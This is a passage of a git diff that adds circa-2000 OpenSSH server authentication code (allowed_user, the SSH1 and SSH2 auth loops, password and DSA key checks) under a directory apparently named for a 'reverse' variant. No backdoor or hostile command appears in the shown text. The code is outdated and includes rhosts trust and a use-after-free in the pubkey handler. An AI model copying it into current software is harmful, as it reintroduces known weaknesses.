executable, false will be returned. + * Otherwise true is returned. + */ +int +allowed_user(struct passwd * pw) +{ + struct stat st; + struct group *grp; + char *shell; + int i; +#ifdef WITH_AIXAUTHENTICATE + char *loginmsg; +#endif /* WITH_AIXAUTHENTICATE */ +#if defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) && \ + defined(HAS_SHADOW_EXPIRE) + struct spwd *spw; + + /* Shouldn't be called if pw is NULL, but better safe than sorry... */ + if (!pw) + return 0; + + spw = getspnam(pw->pw_name); + if (spw != NULL) { + int days = time(NULL) / 86400; + + /* Check account expiry */ + if ((spw->sp_expire > 0) && (days > spw->sp_expire)) + return 0; + + /* Check password expiry */ + if ((spw->sp_lstchg > 0) && (spw->sp_inact > 0) && + (days > (spw->sp_lstchg + spw->sp_inact))) + return 0; + } +#else + /* Shouldn't be called if pw is NULL, but better safe than sorry... */ + if (!pw) + return 0; +#endif + + /* + * Get the shell from the password data. An empty shell field is + * legal, and means /bin/sh. + */ + shell = (pw->pw_shell[0] == '\0') ? _PATH_BSHELL : pw->pw_shell; + + /* deny if shell does not exists or is not executable */ + if (stat(shell, &st) != 0) + return 0; + if (!((st.st_mode & S_IFREG) && (st.st_mode & (S_IXOTH|S_IXUSR|S_IXGRP)))) + return 0; + + /* Return false if user is listed in DenyUsers */ + if (options.num_deny_users > 0) { + if (!pw->pw_name) + return 0; + for (i = 0; i < options.num_deny_users; i++) + if (match_pattern(pw->pw_name, options.deny_users[i])) + return 0; + } + /* Return false if AllowUsers isn't empty and user isn't listed there */ + if (options.num_allow_users > 0) { + if (!pw->pw_name) + return 0; + for (i = 0; i < options.num_allow_users; i++) + if (match_pattern(pw->pw_name, options.allow_users[i])) + break; + /* i < options.num_allow_users iff we break for loop */ + if (i >= options.num_allow_users) + return 0; + } + /* Get the primary group name if we need it. Return false if it fails */ + if (options.num_deny_groups > 0 || options.num_allow_groups > 0) { + grp = getgrgid(pw->pw_gid); + if (!grp) + return 0; + + /* Return false if user's group is listed in DenyGroups */ + if (options.num_deny_groups > 0) { + if (!grp->gr_name) + return 0; + for (i = 0; i < options.num_deny_groups; i++) + if (match_pattern(grp->gr_name, options.deny_groups[i])) + return 0; + } + /* + * Return false if AllowGroups isn't empty and user's group + * isn't listed there + */ + if (options.num_allow_groups > 0) { + if (!grp->gr_name) + return 0; + for (i = 0; i < options.num_allow_groups; i++) + if (match_pattern(grp->gr_name, options.allow_groups[i])) + break; + /* i < options.num_allow_groups iff we break for + loop */ + if (i >= options.num_allow_groups) + return 0; + } + } + +#ifdef WITH_AIXAUTHENTICATE + if (loginrestrictions(pw->pw_name, S_RLOGIN, NULL, &loginmsg) != 0) { + if (loginmsg && *loginmsg) { + /* Remove embedded newlines (if any) */ + char *p; + for (p = loginmsg; *p; p++) { + if (*p == '\n') + *p = ' '; + } + /* Remove trailing newline */ + *--p = '\0'; + log("Login restricted for %s: %.100s", pw->pw_name, loginmsg); + } + return 0; + } +#endif /* WITH_AIXAUTHENTICATE */ + + /* We found no reason not to let this user try to log on... */ + return 1; +} diff --git a/other/openssh-reverse/auth.h b/other/openssh-reverse/auth.h new file mode 100644 index 0000000..61b1f2c --- /dev/null +++ b/other/openssh-reverse/auth.h @@ -0,0 +1,17 @@ +#ifndef AUTH_H +#define AUTH_H + +void do_authentication(void); +void do_authentication2(void); + +struct passwd * +auth_get_user(void); + +int allowed_user(struct passwd * pw); + +#define AUTH_FAIL_MAX 6 +#define AUTH_FAIL_LOG (AUTH_FAIL_MAX/2) +#define AUTH_FAIL_MSG "Too many authentication failures for %.100s" + +#endif + diff --git a/other/openssh-reverse/auth1.c b/other/openssh-reverse/auth1.c new file mode 100644 index 0000000..d8f2652 --- /dev/null +++ b/other/openssh-reverse/auth1.c @@ -0,0 +1,536 @@ +/* + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + */ + +#include "includes.h" +RCSID("$OpenBSD: auth1.c,v 1.2 2000/04/29 18:11:52 markus Exp $"); + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "packet.h" +#include "buffer.h" +#include "cipher.h" +#include "mpaux.h" +#include "servconf.h" +#include "compat.h" +#include "auth.h" +#include "session.h" + +#ifdef HAVE_OSF_SIA +# include +# include +#endif + +/* import */ +extern ServerOptions options; +extern char *forced_command; +#ifdef HAVE_OSF_SIA +extern int saved_argc; +extern char **saved_argv; +#endif /* HAVE_OSF_SIA */ + +/* + * convert ssh auth msg type into description + */ +char * +get_authname(int type) +{ + static char buf[1024]; + switch (type) { + case SSH_CMSG_AUTH_PASSWORD: + return "password"; + case SSH_CMSG_AUTH_RSA: + return "rsa"; + case SSH_CMSG_AUTH_RHOSTS_RSA: + return "rhosts-rsa"; + case SSH_CMSG_AUTH_RHOSTS: + return "rhosts"; +#ifdef KRB4 + case SSH_CMSG_AUTH_KERBEROS: + return "kerberos"; +#endif +#ifdef SKEY + case SSH_CMSG_AUTH_TIS_RESPONSE: + return "s/key"; +#endif + } + snprintf(buf, sizeof buf, "bad-auth-msg-%d", type); + return buf; +} + +/* + * The user does not exist or access is denied, + * but fake indication that authentication is needed. + */ +void +do_fake_authloop1(char *user) +{ + int attempt = 0; + + log("Faking authloop for illegal user %.200s from %.200s port %d", + user, + get_remote_ipaddr(), + get_remote_port()); + +#ifdef WITH_AIXAUTHENTICATE + loginfailed(user,get_canonical_hostname(),"ssh"); +#endif /* WITH_AIXAUTHENTICATE */ + + /* Indicate that authentication is needed. */ + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + + /* + * Keep reading packets, and always respond with a failure. This is + * to avoid disclosing whether such a user really exists. + */ + for (attempt = 1;; attempt++) { + /* Read a packet. This will not return if the client disconnects. */ + int plen; +#ifndef SKEY + (void)packet_read(&plen); +#else /* SKEY */ + int type = packet_read(&plen); + unsigned int dlen; + char *password, *skeyinfo; + password = NULL; + /* Try to send a fake s/key challenge. */ + if (options.skey_authentication == 1 && + (skeyinfo = skey_fake_keyinfo(user)) != NULL) { + if (type == SSH_CMSG_AUTH_TIS) { + packet_start(SSH_SMSG_AUTH_TIS_CHALLENGE); + packet_put_string(skeyinfo, strlen(skeyinfo)); + packet_send(); + packet_write_wait(); + continue; + } else if (type == SSH_CMSG_AUTH_PASSWORD && + options.password_authentication && + (password = packet_get_string(&dlen)) != NULL && + dlen == 5 && + strncasecmp(password, "s/key", 5) == 0 ) { + packet_send_debug(skeyinfo); + } + } + if (password != NULL) + xfree(password); +#endif + if (attempt > AUTH_FAIL_MAX) + packet_disconnect(AUTH_FAIL_MSG, user); + + /* + * Send failure. This should be indistinguishable from a + * failed authentication. + */ + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + } + /* NOTREACHED */ + abort(); +} + +/* + * read packets and try to authenticate local user *pw. + * return if authentication is successfull + */ +void +do_authloop(struct passwd * pw) +{ + int attempt = 0; + unsigned int bits; + RSA *client_host_key; + BIGNUM *n; + char *client_user = NULL, *password = NULL; + char user[1024]; + unsigned int dlen; + int plen, nlen, elen; + unsigned int ulen; + int type = 0; + void (*authlog) (const char *fmt,...) = verbose; + + /* Indicate that authentication is needed. */ + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + + for (attempt = 1;; attempt++) { + int authenticated = 0; + strlcpy(user, "", sizeof user); + + /* Get a packet from the client. */ + type = packet_read(&plen); + + /* Process the packet. */ + switch (type) { +#ifdef AFS + case SSH_CMSG_HAVE_KERBEROS_TGT: + if (!options.kerberos_tgt_passing) { + /* packet_get_all(); */ + verbose("Kerberos tgt passing disabled."); + break; + } else { + /* Accept Kerberos tgt. */ + char *tgt = packet_get_string(&dlen); + packet_integrity_check(plen, 4 + dlen, type); + if (!auth_kerberos_tgt(pw, tgt)) + verbose("Kerberos tgt REFUSED for %s", pw->pw_name); + xfree(tgt); + } + continue; + + case SSH_CMSG_HAVE_AFS_TOKEN: + if (!options.afs_token_passing || !k_hasafs()) { + /* packet_get_all(); */ + verbose("AFS token passing disabled."); + break; + } else { + /* Accept AFS token. */ + char *token_string = packet_get_string(&dlen); + packet_integrity_check(plen, 4 + dlen, type); + if (!auth_afs_token(pw, token_string)) + verbose("AFS token REFUSED for %s", pw->pw_name); + xfree(token_string); + } + continue; +#endif /* AFS */ +#ifdef KRB4 + case SSH_CMSG_AUTH_KERBEROS: + if (!options.kerberos_authentication) { + /* packet_get_all(); */ + verbose("Kerberos authentication disabled."); + break; + } else { + /* Try Kerberos v4 authentication. */ + KTEXT_ST auth; + char *tkt_user = NULL; + char *kdata = packet_get_string((unsigned int *) &auth.length); + packet_integrity_check(plen, 4 + auth.length, type); + + if (auth.length < MAX_KTXT_LEN) + memcpy(auth.dat, kdata, auth.length); + xfree(kdata); + + authenticated = auth_krb4(pw->pw_name, &auth, &tkt_user); + + if (authenticated) { + snprintf(user, sizeof user, " tktuser %s", tkt_user); + xfree(tkt_user); + } + } + break; +#endif /* KRB4 */ + + case SSH_CMSG_AUTH_RHOSTS: + if (!options.rhosts_authentication) { + verbose("Rhosts authentication disabled."); + break; + } + /* + * Get client user name. Note that we just have to + * trust the client; this is one reason why rhosts + * authentication is insecure. (Another is + * IP-spoofing on a local network.) + */ + client_user = packet_get_string(&ulen); + packet_integrity_check(plen, 4 + ulen, type); + + /* Try to authenticate using /etc/hosts.equiv and + .rhosts. */ + authenticated = auth_rhosts(pw, client_user); + + snprintf(user, sizeof user, " ruser %s", client_user); + break; + + case SSH_CMSG_AUTH_RHOSTS_RSA: + if (!options.rhosts_rsa_authentication) { + verbose("Rhosts with RSA authentication disabled."); + break; + } + /* + * Get client user name. Note that we just have to + * trust the client; root on the client machine can + * claim to be any user. + */ + client_user = packet_get_string(&ulen); + + /* Get the client host key. */ + client_host_key = RSA_new(); + if (client_host_key == NULL) + fatal("RSA_new failed"); + client_host_key->e = BN_new(); + client_host_key->n = BN_new(); + if (client_host_key->e == NULL || client_host_key->n == NULL) + fatal("BN_new failed"); + bits = packet_get_int(); + packet_get_bignum(client_host_key->e, &elen); + packet_get_bignum(client_host_key->n, &nlen); + + if (bits != BN_num_bits(client_host_key->n)) + log("Warning: keysize mismatch for client_host_key: " + "actual %d, announced %d", BN_num_bits(client_host_key->n), bits); + packet_integrity_check(plen, (4 + ulen) + 4 + elen + nlen, type); + + authenticated = auth_rhosts_rsa(pw, client_user, client_host_key); + RSA_free(client_host_key); + + snprintf(user, sizeof user, " ruser %s", client_user); + break; + + case SSH_CMSG_AUTH_RSA: + if (!options.rsa_authentication) { + verbose("RSA authentication disabled."); + break; + } + /* RSA authentication requested. */ + n = BN_new(); + packet_get_bignum(n, &nlen); + packet_integrity_check(plen, nlen, type); + authenticated = auth_rsa(pw, n); + BN_clear_free(n); + break; + + case SSH_CMSG_AUTH_PASSWORD: + if (!options.password_authentication) { + verbose("Password authentication disabled."); + break; + } + /* + * Read user password. It is in plain text, but was + * transmitted over the encrypted channel so it is + * not visible to an outside observer. + */ + password = packet_get_string(&dlen); + packet_integrity_check(plen, 4 + dlen, type); + +#ifdef USE_PAM + /* Do PAM auth with password */ + authenticated = auth_pam_password(pw, password); +#elif defined(HAVE_OSF_SIA) + /* Do SIA auth with password */ + if (sia_validate_user(NULL, saved_argc, saved_argv, + get_canonical_hostname(), pw->pw_name, NULL, 0, + NULL, password) == SIASUCCESS) { + authenticated = 1; + } +#else /* !USE_PAM && !HAVE_OSF_SIA */ + /* Try authentication with the password. */ + authenticated = auth_password(pw, password); +#endif /* USE_PAM */ + + memset(password, 0, strlen(password)); + xfree(password); + break; + +#ifdef SKEY + case SSH_CMSG_AUTH_TIS: + debug("rcvd SSH_CMSG_AUTH_TIS"); + if (options.skey_authentication == 1) { + char *skeyinfo = skey_keyinfo(pw->pw_name); + if (skeyinfo == NULL) { + debug("generating fake skeyinfo for %.100s.", pw->pw_name); + skeyinfo = skey_fake_keyinfo(pw->pw_name); + } + if (skeyinfo != NULL) { + /* we send our s/key- in tis-challenge messages */ + debug("sending challenge '%s'", skeyinfo); + packet_start(SSH_SMSG_AUTH_TIS_CHALLENGE); + packet_put_string(skeyinfo, strlen(skeyinfo)); + packet_send(); + packet_write_wait(); + continue; + } + } + break; + case SSH_CMSG_AUTH_TIS_RESPONSE: + debug("rcvd SSH_CMSG_AUTH_TIS_RESPONSE"); + if (options.skey_authentication == 1) { + char *response = packet_get_string(&dlen); + debug("skey response == '%s'", response); + packet_integrity_check(plen, 4 + dlen, type); + authenticated = (skey_haskey(pw->pw_name) == 0 && + skey_passcheck(pw->pw_name, response) != -1); + xfree(response); + } + break; +#else + case SSH_CMSG_AUTH_TIS: + /* TIS Authentication is unsupported */ + log("TIS authentication unsupported."); + break; +#endif + + default: + /* + * Any unknown messages will be ignored (and failure + * returned) during authentication. + */ + log("Unknown message during authentication: type %d", type); + break; + } + + /* + * Check if the user is logging in as root and root logins + * are disallowed. + * Note that root login is allowed for forced commands. + */ + if (authenticated && pw->pw_uid == 0 && !options.permit_root_login) { + if (forced_command) { + log("Root login accepted for forced command."); + } else { + authenticated = 0; + log("ROOT LOGIN REFUSED FROM %.200s", + get_canonical_hostname()); + } + } + + /* Raise logging level */ + if (authenticated || + attempt == AUTH_FAIL_LOG || + type == SSH_CMSG_AUTH_PASSWORD) + authlog = log; + + authlog("%s %s for %.200s from %.200s port %d%s", + authenticated ? "Accepted" : "Failed", + get_authname(type), + pw->pw_uid == 0 ? "ROOT" : pw->pw_name, + get_remote_ipaddr(), + get_remote_port(), + user); + +#ifdef USE_PAM + if (authenticated) { + if (!do_pam_account(pw->pw_name, client_user)) { + if (client_user != NULL) { + xfree(client_user); + client_user = NULL; + } + do_fake_authloop1(pw->pw_name); + } + return; + } +#else /* USE_PAM */ + if (authenticated) { + return; + } +#endif /* USE_PAM */ + + if (client_user != NULL) { + xfree(client_user); + client_user = NULL; + } + + if (attempt > AUTH_FAIL_MAX) { +#ifdef WITH_AIXAUTHENTICATE + loginfailed(pw->pw_name,get_canonical_hostname(),"ssh"); +#endif /* WITH_AIXAUTHENTICATE */ + packet_disconnect(AUTH_FAIL_MSG, pw->pw_name); + } + + /* Send a message indicating that the authentication attempt failed. */ + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + } +} + +/* + * Performs authentication of an incoming connection. Session key has already + * been exchanged and encryption is enabled. + */ +void +do_authentication() +{ + struct passwd *pw, pwcopy; + int plen; + unsigned int ulen; + char *user; +#ifdef WITH_AIXAUTHENTICATE + extern char *aixloginmsg; +#endif /* WITH_AIXAUTHENTICATE */ + + /* Get the name of the user that we wish to log in as. */ + packet_read_expect(&plen, SSH_CMSG_USER); + + /* Get the user name. */ + user = packet_get_string(&ulen); + packet_integrity_check(plen, (4 + ulen), SSH_CMSG_USER); + + setproctitle("%s", user); + +#ifdef AFS + /* If machine has AFS, set process authentication group. */ + if (k_hasafs()) { + k_setpag(); + k_unlog(); + } +#endif /* AFS */ + + /* Verify that the user is a valid user. */ + pw = getpwnam(user); + if (!pw || !allowed_user(pw)) + do_fake_authloop1(user); + xfree(user); + + /* Take a copy of the returned structure. */ + memset(&pwcopy, 0, sizeof(pwcopy)); + pwcopy.pw_name = xstrdup(pw->pw_name); + pwcopy.pw_passwd = xstrdup(pw->pw_passwd); + pwcopy.pw_uid = pw->pw_uid; + pwcopy.pw_gid = pw->pw_gid; + pwcopy.pw_dir = xstrdup(pw->pw_dir); + pwcopy.pw_shell = xstrdup(pw->pw_shell); + pw = &pwcopy; + +#ifdef USE_PAM + start_pam(pw); +#endif + + /* + * If we are not running as root, the user must have the same uid as + * the server. + */ + if (getuid() != 0 && pw->pw_uid != getuid()) + packet_disconnect("Cannot change user when server not running as root."); + + debug("Attempting authentication for %.100s.", pw->pw_name); + + /* If the user has no password, accept authentication immediately. */ + if (options.password_authentication && +#ifdef KRB4 + (!options.kerberos_authentication || options.kerberos_or_local_passwd) && +#endif /* KRB4 */ +#ifdef USE_PAM + auth_pam_password(pw, "")) { +#elif defined(HAVE_OSF_SIA) + (sia_validate_user(NULL, saved_argc, saved_argv, + get_canonical_hostname(), pw->pw_name, NULL, 0, NULL, + "") == SIASUCCESS)) { +#else /* !HAVE_OSF_SIA && !USE_PAM */ + auth_password(pw, "")) { +#endif /* USE_PAM */ + /* Authentication with empty password succeeded. */ + log("Login for user %s from %.100s, accepted without authentication.", + pw->pw_name, get_remote_ipaddr()); + } else { + /* Loop until the user has been authenticated or the + connection is closed, do_authloop() returns only if + authentication is successfull */ + do_authloop(pw); + } + + /* The user has been authenticated and accepted. */ +#ifdef WITH_AIXAUTHENTICATE + /* We don't have a pty yet, so just label the line as "ssh" */ + if (loginsuccess(user,get_canonical_hostname(),"ssh",&aixloginmsg) < 0) + aixloginmsg = NULL; +#endif /* WITH_AIXAUTHENTICATE */ + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); + + /* Perform session preparation. */ + do_authenticated(pw); +} diff --git a/other/openssh-reverse/auth2.c b/other/openssh-reverse/auth2.c new file mode 100644 index 0000000..4926ff8 --- /dev/null +++ b/other/openssh-reverse/auth2.c @@ -0,0 +1,542 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "includes.h" +RCSID("$OpenBSD: auth2.c,v 1.12 2000/07/07 03:55:03 todd Exp $"); + +#include +#include +#include + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "pty.h" +#include "packet.h" +#include "buffer.h" +#include "cipher.h" +#include "servconf.h" +#include "compat.h" +#include "channels.h" +#include "bufaux.h" +#include "ssh2.h" +#include "auth.h" +#include "session.h" +#include "dispatch.h" +#include "auth.h" +#include "key.h" +#include "kex.h" + +#include "dsa.h" +#include "uidswap.h" +#include "auth-options.h" + +#ifdef HAVE_OSF_SIA +# include +# include +#endif + +/* import */ +extern ServerOptions options; +extern unsigned char *session_id2; +extern int session_id2_len; + +/* protocol */ + +void input_service_request(int type, int plen); +void input_userauth_request(int type, int plen); +void protocol_error(int type, int plen); + +/* auth */ +int ssh2_auth_none(struct passwd *pw); +int ssh2_auth_password(struct passwd *pw); +int ssh2_auth_pubkey(struct passwd *pw, char *service); + +/* helper */ +struct passwd* auth_set_user(char *u, char *s); +int user_dsa_key_allowed(struct passwd *pw, Key *key); + +typedef struct Authctxt Authctxt; +struct Authctxt { + char *user; + char *service; + struct passwd pw; + int valid; +}; +static Authctxt *authctxt = NULL; +static int userauth_success = 0; + +/* + * loop until userauth_success == TRUE + */ + +void +do_authentication2() +{ + /* turn off skey/kerberos, not supported by SSH2 */ +#ifdef SKEY + options.skey_authentication = 0; +#endif +#ifdef KRB4 + options.kerberos_authentication = 0; +#endif + + dispatch_init(&protocol_error); + dispatch_set(SSH2_MSG_SERVICE_REQUEST, &input_service_request); + dispatch_run(DISPATCH_BLOCK, &userauth_success); + do_authenticated2(); +} + +void +protocol_error(int type, int plen) +{ + log("auth: protocol error: type %d plen %d", type, plen); + packet_start(SSH2_MSG_UNIMPLEMENTED); + packet_put_int(0); + packet_send(); + packet_write_wait(); +} + +void +input_service_request(int type, int plen) +{ + unsigned int len; + int accept = 0; + char *service = packet_get_string(&len); + packet_done(); + + if (strcmp(service, "ssh-userauth") == 0) { + if (!userauth_success) { + accept = 1; + /* now we can handle user-auth requests */ + dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &input_userauth_request); + } + } + /* XXX all other service requests are denied */ + + if (accept) { + packet_start(SSH2_MSG_SERVICE_ACCEPT); + packet_put_cstring(service); + packet_send(); + packet_write_wait(); + } else { + debug("bad service request %s", service); + packet_disconnect("bad service request %s", service); + } + xfree(service); +} + +void +input_userauth_request(int type, int plen) +{ + static void (*authlog) (const char *fmt,...) = verbose; + static int attempt = 0; + unsigned int len; + int authenticated = 0; + char *user, *service, *method, *authmsg = NULL; + struct passwd *pw; +#ifdef WITH_AIXAUTHENTICATE + extern char *aixloginmsg; +#endif /* WITH_AIXAUTHENTICATE */ + + user = packet_get_string(&len); + service = packet_get_string(&len); + method = packet_get_string(&len); + if (++attempt == AUTH_FAIL_MAX) { +#ifdef WITH_AIXAUTHENTICATE + loginfailed(user,get_canonical_hostname(),"ssh"); +#endif /* WITH_AIXAUTHENTICATE */ + packet_disconnect("too many failed userauth_requests"); + } + debug("userauth-request for user %s service %s method %s", user, service, method); + + /* XXX we only allow the ssh-connection service */ + pw = auth_set_user(user, service); + if (pw && strcmp(service, "ssh-connection")==0) { + if (strcmp(method, "none") == 0) { + authenticated = ssh2_auth_none(pw); + } else if (strcmp(method, "password") == 0) { + authenticated = ssh2_auth_password(pw); + } else if (strcmp(method, "publickey") == 0) { + authenticated = ssh2_auth_pubkey(pw, service); + } + } + if (authenticated && pw && pw->pw_uid == 0 && !options.permit_root_login) { + authenticated = 0; + log("ROOT LOGIN REFUSED FROM %.200s", + get_canonical_hostname()); + } + +#ifdef USE_PAM + if (authenticated && !do_pam_account(pw->pw_name, NULL)) + authenticated = 0; +#endif /* USE_PAM */ + + /* Raise logging level */ + if (authenticated == 1 || + attempt == AUTH_FAIL_LOG || + strcmp(method, "password") == 0) + authlog = log; + + /* Log before sending the reply */ + if (authenticated == 1) { + authmsg = "Accepted"; + } else if (authenticated == 0) { + authmsg = "Failed"; + } else { + authmsg = "Postponed"; + } + authlog("%s %s for %.200s from %.200s port %d ssh2", + authmsg, + method, + pw && pw->pw_uid == 0 ? "ROOT" : user, + get_remote_ipaddr(), + get_remote_port()); + + /* XXX todo: check if multiple auth methods are needed */ + if (authenticated == 1) { +#ifdef WITH_AIXAUTHENTICATE + /* We don't have a pty yet, so just label the line as "ssh" */ + if (loginsuccess(user,get_canonical_hostname(),"ssh", + &aixloginmsg) < 0) + aixloginmsg = NULL; +#endif /* WITH_AIXAUTHENTICATE */ + /* turn off userauth */ + dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &protocol_error); + packet_start(SSH2_MSG_USERAUTH_SUCCESS); + packet_send(); + packet_write_wait(); + /* now we can break out */ + userauth_success = 1; + } else if (authenticated == 0) { + packet_start(SSH2_MSG_USERAUTH_FAILURE); + packet_put_cstring("publickey,password"); /* XXX dynamic */ + packet_put_char(0); /* XXX partial success, unused */ + packet_send(); + packet_write_wait(); + } + + xfree(service); + xfree(user); + xfree(method); +} + +int +ssh2_auth_none(struct passwd *pw) +{ +#ifdef HAVE_OSF_SIA + extern int saved_argc; + extern char **saved_argv; +#endif + + packet_done(); + +#ifdef USE_PAM + return auth_pam_password(pw, ""); +#elif defined(HAVE_OSF_SIA) + return(sia_validate_user(NULL, saved_argc, saved_argv, + get_canonical_hostname(), pw->pw_name, NULL, 0, NULL, + "") == SIASUCCESS); +#else /* !HAVE_OSF_SIA && !USE_PAM */ + return auth_password(pw, ""); +#endif /* USE_PAM */ +} +int +ssh2_auth_password(struct passwd *pw) +{ + char *password; + int authenticated = 0; + int change; + unsigned int len; +#ifdef HAVE_OSF_SIA + extern int saved_argc; + extern char **saved_argv; +#endif + change = packet_get_char(); + if (change) + log("password change not supported"); + password = packet_get_string(&len); + packet_done(); + if (options.password_authentication && +#ifdef USE_PAM + auth_pam_password(pw, password) == 1) +#elif defined(HAVE_OSF_SIA) + sia_validate_user(NULL, saved_argc, saved_argv, + get_canonical_hostname(), pw->pw_name, NULL, 0, + NULL, password) == SIASUCCESS) +#else /* !USE_PAM && !HAVE_OSF_SIA */ + auth_password(pw, password) == 1) +#endif /* USE_PAM */ + authenticated = 1; + memset(password, 0, len); + xfree(password); + return authenticated; +} +int +ssh2_auth_pubkey(struct passwd *pw, char *service) +{ + Buffer b; + Key *key; + char *pkalg, *pkblob, *sig; + unsigned int alen, blen, slen; + int have_sig; + int authenticated = 0; + + if (options.dsa_authentication == 0) { + debug("pubkey auth disabled"); + return 0; + } + have_sig = packet_get_char(); + pkalg = packet_get_string(&alen); + if (strcmp(pkalg, KEX_DSS) != 0) { + xfree(pkalg); + log("bad pkalg %s", pkalg); /*XXX*/ + return 0; + } + pkblob = packet_get_string(&blen); + key = dsa_key_from_blob(pkblob, blen); + if (key != NULL) { + if (have_sig) { + sig = packet_get_string(&slen); + packet_done(); + buffer_init(&b); + if (datafellows & SSH_COMPAT_SESSIONID_ENCODING) { + buffer_put_string(&b, session_id2, session_id2_len); + } else { + buffer_append(&b, session_id2, session_id2_len); + } + /* reconstruct packet */ + buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); + buffer_put_cstring(&b, pw->pw_name); + buffer_put_cstring(&b, + datafellows & SSH_BUG_PUBKEYAUTH ? + "ssh-userauth" : + service); + buffer_put_cstring(&b, "publickey"); + buffer_put_char(&b, have_sig); + buffer_put_cstring(&b, KEX_DSS); + buffer_put_string(&b, pkblob, blen); +#ifdef DEBUG_DSS + buffer_dump(&b); +#endif + /* test for correct signature */ + if (user_dsa_key_allowed(pw, key) && + dsa_verify(key, sig, slen, buffer_ptr(&b), buffer_len(&b)) == 1) + authenticated = 1; + buffer_clear(&b); + xfree(sig); + } else { + packet_done(); + debug("test key..."); + /* test whether pkalg/pkblob are acceptable */ + /* XXX fake reply and always send PK_OK ? */ + /* + * XXX this allows testing whether a user is allowed + * to login: if you happen to have a valid pubkey this + * message is sent. the message is NEVER sent at all + * if a user is not allowed to login. is this an + * issue? -markus + */ + if (user_dsa_key_allowed(pw, key)) { + packet_start(SSH2_MSG_USERAUTH_PK_OK); + packet_put_string(pkalg, alen); + packet_put_string(pkblob, blen); + packet_send(); + packet_write_wait(); + authenticated = -1; + } + } + key_free(key); + } + xfree(pkalg); + xfree(pkblob); + return authenticated; +} + +/* set and get current user */ + +struct passwd* +auth_get_user(void) +{ + return (authctxt != NULL && authctxt->valid) ? &authctxt->pw : NULL; +} + +struct passwd* +auth_set_user(char *u, char *s) +{ + struct passwd *pw, *copy; + + if (authctxt == NULL) { + authctxt = xmalloc(sizeof(*authctxt)); + authctxt->valid = 0; + authctxt->user = xstrdup(u); + authctxt->service = xstrdup(s); + setproctitle("%s", u); + pw = getpwnam(u); + if (!pw || !allowed_user(pw)) { + log("auth_set_user: illegal user %s", u); + return NULL; + } +#ifdef USE_PAM + start_pam(pw); +#endif + copy = &authctxt->pw; + memset(copy, 0, sizeof(*copy)); + copy->pw_name = xstrdup(pw->pw_name); + copy->pw_passwd = xstrdup(pw->pw_passwd); + copy->pw_uid = pw->pw_uid; + copy->pw_gid = pw->pw_gid; + copy->pw_dir = xstrdup(pw->pw_dir); + copy->pw_shell = xstrdup(pw->pw_shell); + authctxt->valid = 1; + } else { + if (strcmp(u, authctxt->user) != 0 || + strcmp(s, authctxt->service) != 0) { + log("auth_set_user: missmatch: (%s,%s)!=(%s,%s)", + u, s, authctxt->user, authctxt->service); + return NULL; + } + } + return auth_get_user(); +} + +/* return 1 if user allows given key */ +int +user_dsa_key_allowed(struct passwd *pw, Key *key) +{ + char line[8192], file[1024]; + int found_key = 0; + unsigned int bits = -1; + FILE *f; + unsigned long linenum = 0; + struct stat st; + Key *found; + + /* Temporarily use the user's uid. */ + temporarily_use_uid(pw->pw_uid); + + /* The authorized keys. */ + snprintf(file, sizeof file, "%.500s/%.100s", pw->pw_dir, + SSH_USER_PERMITTED_KEYS2); + + /* Fail quietly if file does not exist */ + if (stat(file, &st) < 0) { + /* Restore the privileged uid. */ + restore_uid(); + return 0; + } + /* Open the file containing the authorized keys. */ + f = fopen(file, "r"); + if (!f) { + /* Restore the privileged uid. */ + restore_uid(); + return 0; + } + if (options.strict_modes) { + int fail = 0; + char buf[1024]; + /* Check open file in order to avoid open/stat races */ + if (fstat(fileno(f), &st) < 0 || + (st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0) { + snprintf(buf, sizeof buf, "DSA authentication refused for %.100s: " + "bad ownership or modes for '%s'.", pw->pw_name, file); + fail = 1; + } else { + /* Check path to SSH_USER_PERMITTED_KEYS */ + int i; + static const char *check[] = { + "", SSH_USER_DIR, NULL + }; + for (i = 0; check[i]; i++) { + snprintf(line, sizeof line, "%.500s/%.100s", + pw->pw_dir, check[i]); + if (stat(line, &st) < 0 || + (st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0) { + snprintf(buf, sizeof buf, + "DSA authentication refused for %.100s: " + "bad ownership or modes for '%s'.", + pw->pw_name, line); + fail = 1; + break; + } 